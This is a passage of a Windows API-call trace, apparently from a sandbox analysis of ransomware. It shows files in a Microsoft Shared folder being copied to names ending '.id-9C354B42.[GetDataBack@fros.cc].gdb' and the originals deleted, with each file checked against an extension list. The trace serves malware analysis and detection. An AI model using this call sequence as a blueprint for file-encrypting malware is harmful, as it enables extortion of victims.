files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0132.381] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=1382) returned 1 [0132.383] CloseHandle (hObject=0x1fc) returned 1 [0132.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0132.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0132.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0132.383] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.383] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0132.383] GetLastError () returned 0x0 [0132.383] ReadFile (in: hFile=0x1fc, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x566, lpOverlapped=0x0) returned 1 [0132.385] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0x570, lpOverlapped=0x0) returned 1 [0132.386] ReadFile (in: hFile=0x1fc, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x0, lpOverlapped=0x0) returned 1 [0132.386] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xe0, lpOverlapped=0x0) returned 1 [0132.386] SetEndOfFile (hFile=0x214) returned 1 [0132.386] CloseHandle (hObject=0x214) returned 1 [0132.387] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.387] SetEndOfFile (hFile=0x1fc) returned 1 [0132.387] CloseHandle (hObject=0x1fc) returned 1 [0132.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.388] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 1 [0132.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0132.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0132.388] lstrlenW (lpString=".doc") returned 4 [0132.388] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0132.388] lstrlenW (lpString=".docx") returned 5 [0132.388] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0132.388] lstrlenW (lpString=".pdf") returned 4 [0132.388] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0132.388] lstrlenW (lpString=".xls") returned 4 [0132.388] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0132.388] lstrlenW (lpString=".xlsx") returned 5 [0132.388] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0132.388] lstrlenW (lpString=".ppt") returned 4 [0132.388] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0132.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0132.388] lstrlenW (lpString=".zip") returned 4 [0132.388] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0132.388] lstrlenW (lpString=".rar") returned 4 [0132.388] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0132.388] lstrlenW (lpString=".bz2") returned 4 [0132.388] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0132.388] lstrlenW (lpString=".7z") returned 3 [0132.388] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0132.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0132.388] lstrlenW (lpString=".dbf") returned 4 [0132.388] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0132.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0132.388] lstrlenW (lpString=".1cd") returned 4 [0132.388] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0132.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0132.388] lstrlenW (lpString=".jpg") returned 4 [0132.388] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0132.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0132.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0132.389] lstrlenW (lpString=".doc") returned 4 [0132.389] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0132.389] lstrlenW (lpString=".docx") returned 5 [0132.389] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0132.389] lstrlenW (lpString=".pdf") returned 4 [0132.389] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0132.389] lstrlenW (lpString=".xls") returned 4 [0132.389] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0132.389] lstrlenW (lpString=".xlsx") returned 5 [0132.389] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0132.389] lstrlenW (lpString=".ppt") returned 4 [0132.389] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0132.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0132.389] lstrlenW (lpString=".zip") returned 4 [0132.389] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0132.389] lstrlenW (lpString=".rar") returned 4 [0132.389] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0132.389] lstrlenW (lpString=".bz2") returned 4 [0132.389] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0132.389] lstrlenW (lpString=".7z") returned 3 [0132.389] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0132.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0132.389] lstrlenW (lpString=".dbf") returned 4 [0132.389] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0132.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0132.389] lstrlenW (lpString=".1cd") returned 4 [0132.389] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0132.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0132.389] lstrlenW (lpString=".jpg") returned 4 [0132.389] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0132.389] lstrcmpiW (lpString1=".FLT", lpString2=".gdb") returned -1 [0132.389] lstrlenW (lpString="PNG32.FLT") returned 9 [0132.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0132.390] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=302976) returned 1 [0132.390] CloseHandle (hObject=0x1fc) returned 1 [0132.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0132.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0132.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0132.390] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.390] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0132.390] GetLastError () returned 0x0 [0132.390] ReadFile (in: hFile=0x1fc, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x49f80, lpOverlapped=0x0) returned 1 [0132.841] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x49f90, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0x49f90, lpOverlapped=0x0) returned 1 [0132.846] ReadFile (in: hFile=0x1fc, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x0, lpOverlapped=0x0) returned 1 [0132.846] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xe6, lpOverlapped=0x0) returned 1 [0132.846] SetEndOfFile (hFile=0x214) returned 1 [0132.846] CloseHandle (hObject=0x214) returned 1 [0132.846] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.846] SetEndOfFile (hFile=0x1fc) returned 1 [0132.849] CloseHandle (hObject=0x1fc) returned 1 [0132.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.849] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 1 [0132.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0132.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0132.849] lstrlenW (lpString=".doc") returned 4 [0132.850] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0132.850] lstrlenW (lpString=".docx") returned 5 [0132.850] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0132.850] lstrlenW (lpString=".pdf") returned 4 [0132.850] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0132.850] lstrlenW (lpString=".xls") returned 4 [0132.850] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0132.850] lstrlenW (lpString=".xlsx") returned 5 [0132.850] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0132.850] lstrlenW (lpString=".ppt") returned 4 [0132.850] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0132.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0132.850] lstrlenW (lpString=".zip") returned 4 [0132.850] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0132.850] lstrlenW (lpString=".rar") returned 4 [0132.850] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0132.850] lstrlenW (lpString=".bz2") returned 4 [0132.850] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0132.850] lstrlenW (lpString=".7z") returned 3 [0132.850] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0132.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0132.850] lstrlenW (lpString=".dbf") returned 4 [0132.850] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0132.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0132.850] lstrlenW (lpString=".1cd") returned 4 [0132.850] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0132.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0132.850] lstrlenW (lpString=".jpg") returned 4 [0132.850] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0132.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0132.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0132.850] lstrlenW (lpString=".doc") returned 4 [0132.850] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0132.850] lstrlenW (lpString=".docx") returned 5 [0132.850] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0132.850] lstrlenW (lpString=".pdf") returned 4 [0132.850] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0132.850] lstrlenW (lpString=".xls") returned 4 [0132.850] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0132.850] lstrlenW (lpString=".xlsx") returned 5 [0132.850] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0132.851] lstrlenW (lpString=".ppt") returned 4 [0132.851] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0132.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0132.851] lstrlenW (lpString=".zip") returned 4 [0132.851] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0132.851] lstrlenW (lpString=".rar") returned 4 [0132.851] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0132.851] lstrlenW (lpString=".bz2") returned 4 [0132.851] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0132.851] lstrlenW (lpString=".7z") returned 3 [0132.851] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0132.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0132.851] lstrlenW (lpString=".dbf") returned 4 [0132.851] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0132.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0132.851] lstrlenW (lpString=".1cd") returned 4 [0132.851] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0132.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0132.851] lstrlenW (lpString=".jpg") returned 4 [0132.851] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0132.851] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0132.851] lstrlenW (lpString="msitss55.dll") returned 12 [0132.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0132.870] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=430080) returned 1 [0132.870] CloseHandle (hObject=0x1a8) returned 1 [0132.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0132.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0132.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0132.871] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.871] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0132.871] GetLastError () returned 0x0 [0132.871] ReadFile (in: hFile=0x1a8, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x69000, lpOverlapped=0x0) returned 1 [0133.240] WriteFile (in: hFile=0x20c, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x69010, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0x69010, lpOverlapped=0x0) returned 1 [0133.248] ReadFile (in: hFile=0x1a8, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x0, lpOverlapped=0x0) returned 1 [0133.248] WriteFile (in: hFile=0x20c, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xec, lpOverlapped=0x0) returned 1 [0133.248] SetEndOfFile (hFile=0x20c) returned 1 [0133.249] CloseHandle (hObject=0x20c) returned 1 [0133.249] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0133.249] SetEndOfFile (hFile=0x1a8) returned 1 [0133.253] CloseHandle (hObject=0x1a8) returned 1 [0133.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0133.254] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 1 [0133.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.254] lstrlenW (lpString=".doc") returned 4 [0133.254] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0133.254] lstrlenW (lpString=".docx") returned 5 [0133.254] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0133.254] lstrlenW (lpString=".pdf") returned 4 [0133.254] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0133.254] lstrlenW (lpString=".xls") returned 4 [0133.254] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0133.254] lstrlenW (lpString=".xlsx") returned 5 [0133.254] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0133.254] lstrlenW (lpString=".ppt") returned 4 [0133.254] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0133.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.254] lstrlenW (lpString=".zip") returned 4 [0133.254] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0133.254] lstrlenW (lpString=".rar") returned 4 [0133.254] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0133.254] lstrlenW (lpString=".bz2") returned 4 [0133.254] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0133.255] lstrlenW (lpString=".7z") returned 3 [0133.255] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0133.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.255] lstrlenW (lpString=".dbf") returned 4 [0133.255] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0133.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.255] lstrlenW (lpString=".1cd") returned 4 [0133.255] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0133.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.255] lstrlenW (lpString=".jpg") returned 4 [0133.255] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0133.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.255] lstrlenW (lpString=".doc") returned 4 [0133.255] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0133.255] lstrlenW (lpString=".docx") returned 5 [0133.255] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0133.255] lstrlenW (lpString=".pdf") returned 4 [0133.255] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0133.255] lstrlenW (lpString=".xls") returned 4 [0133.255] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0133.255] lstrlenW (lpString=".xlsx") returned 5 [0133.255] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0133.255] lstrlenW (lpString=".ppt") returned 4 [0133.255] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0133.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.255] lstrlenW (lpString=".zip") returned 4 [0133.255] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0133.255] lstrlenW (lpString=".rar") returned 4 [0133.255] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0133.255] lstrlenW (lpString=".bz2") returned 4 [0133.255] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0133.255] lstrlenW (lpString=".7z") returned 3 [0133.256] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0133.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.256] lstrlenW (lpString=".dbf") returned 4 [0133.256] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0133.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.256] lstrlenW (lpString=".1cd") returned 4 [0133.256] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0133.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0133.256] lstrlenW (lpString=".jpg") returned 4 [0133.256] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0133.256] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0133.256] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0133.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0133.436] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=3584) returned 1 [0133.436] CloseHandle (hObject=0x22c) returned 1 [0133.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0133.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0133.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 